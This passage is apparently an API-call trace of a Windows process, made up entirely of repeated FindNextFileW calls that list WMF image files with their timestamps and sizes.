nFileSizeLow=0x1c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239951.WMF", cAlternateFileName="")) returned 1 [0258.241] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239953.WMF", cAlternateFileName="")) returned 1 [0258.241] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1348, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239955.WMF", cAlternateFileName="")) returned 1 [0258.241] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1720, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239965.WMF", cAlternateFileName="")) returned 1 [0258.241] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x154c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239967.WMF", cAlternateFileName="")) returned 1 [0258.241] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239973.WMF", cAlternateFileName="")) returned 1 [0258.242] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239975.WMF", cAlternateFileName="")) returned 1 [0258.242] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239997.WMF", cAlternateFileName="")) returned 1 [0258.242] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240157.WMF", cAlternateFileName="")) returned 1 [0258.242] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240175.WMF", cAlternateFileName="")) returned 1 [0258.242] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240189.WMF", cAlternateFileName="")) returned 1 [0258.242] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1476, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240291.WMF", cAlternateFileName="")) returned 1 [0258.533] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90da9400, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90da9400, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x92e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241019.WMF", cAlternateFileName="")) returned 1 [0258.533] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc65600, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9cc65600, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241037.WMF", cAlternateFileName="")) returned 1 [0258.533] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa059dd00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa059dd00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241041.WMF", cAlternateFileName="")) returned 1 [0258.533] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa18b0a00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa18b0a00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241043.WMF", cAlternateFileName="")) returned 1 [0258.533] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb49dda00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb49dda00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241077.WMF", cAlternateFileName="")) returned 1 [0258.534] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c98900, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7c98900, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241773.WMF", cAlternateFileName="")) returned 1 [0258.534] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5d1000, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb5d1000, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0241781.WMF", cAlternateFileName="")) returned 1 [0258.534] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7938, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0250504.WMF", cAlternateFileName="")) returned 1 [0258.534] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6958, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0250997.WMF", cAlternateFileName="")) returned 1 [0258.535] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1100c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251007.WMF", cAlternateFileName="")) returned 1 [0258.535] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f1d4200, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f1d4200, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xae2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252629.WMF", cAlternateFileName="")) returned 1 [0258.535] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f4c600, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46f4c600, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xf56, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252669.WMF", cAlternateFileName="")) returned 1 [0258.535] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89b5600, ftCreationTime.dwHighDateTime=0x1bec0f4, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89b5600, ftLastWriteTime.dwHighDateTime=0x1bec0f4, nFileSizeHigh=0x0, nFileSizeLow=0xf6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278702.WMF", cAlternateFileName="")) returned 1 [0258.535] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0279644.WMF", cAlternateFileName="")) returned 1 [0258.535] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11dee, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0280468.WMF", cAlternateFileName="")) returned 1 [0258.536] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30398a00, ftCreationTime.dwHighDateTime=0x1bed30f, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30398a00, ftLastWriteTime.dwHighDateTime=0x1bed30f, nFileSizeHigh=0x0, nFileSizeLow=0x94c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281008.WMF", cAlternateFileName="")) returned 1 [0258.536] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd40ff00, ftCreationTime.dwHighDateTime=0x1bed402, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd40ff00, ftLastWriteTime.dwHighDateTime=0x1bed402, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281243.WMF", cAlternateFileName="")) returned 1 [0258.536] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c757700, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c757700, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x31dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281630.WMF", cAlternateFileName="")) returned 1 [0258.536] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da6a400, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7da6a400, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281632.WMF", cAlternateFileName="")) returned 1 [0258.536] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87300c00, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87300c00, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x2e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281638.WMF", cAlternateFileName="")) returned 1 [0258.537] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88613900, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88613900, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x30f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281640.WMF", cAlternateFileName="")) returned 1 [0258.537] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba8f5800, ftCreationTime.dwHighDateTime=0x1beecd8, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba8f5800, ftLastWriteTime.dwHighDateTime=0x1beecd8, nFileSizeHigh=0x0, nFileSizeLow=0x3c9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282126.WMF", cAlternateFileName="")) returned 1 [0258.537] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8166, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282928.WMF", cAlternateFileName="")) returned 1 [0258.537] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3700, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0282932.WMF", cAlternateFileName="")) returned 1 [0258.537] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x388a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285462.WMF", cAlternateFileName="")) returned 1 [0258.538] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56641810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2440, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285484.WMF", cAlternateFileName="")) returned 1 [0258.538] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x795c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285780.WMF", cAlternateFileName="")) returned 1 [0258.538] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x523e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285782.WMF", cAlternateFileName="")) returned 1 [0258.538] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2eb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285792.WMF", cAlternateFileName="")) returned 1 [0258.538] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3550, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285796.WMF", cAlternateFileName="")) returned 1 [0258.539] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285808.WMF", cAlternateFileName="")) returned 1 [0258.539] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2210, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285820.WMF", cAlternateFileName="")) returned 1 [0258.539] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56667970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285822.WMF", cAlternateFileName="")) returned 1 [0258.539] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7898, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287018.WMF", cAlternateFileName="")) returned 1 [0259.734] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x931a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287019.WMF", cAlternateFileName="")) returned 1 [0259.734] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287020.WMF", cAlternateFileName="")) returned 1 [0259.734] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: 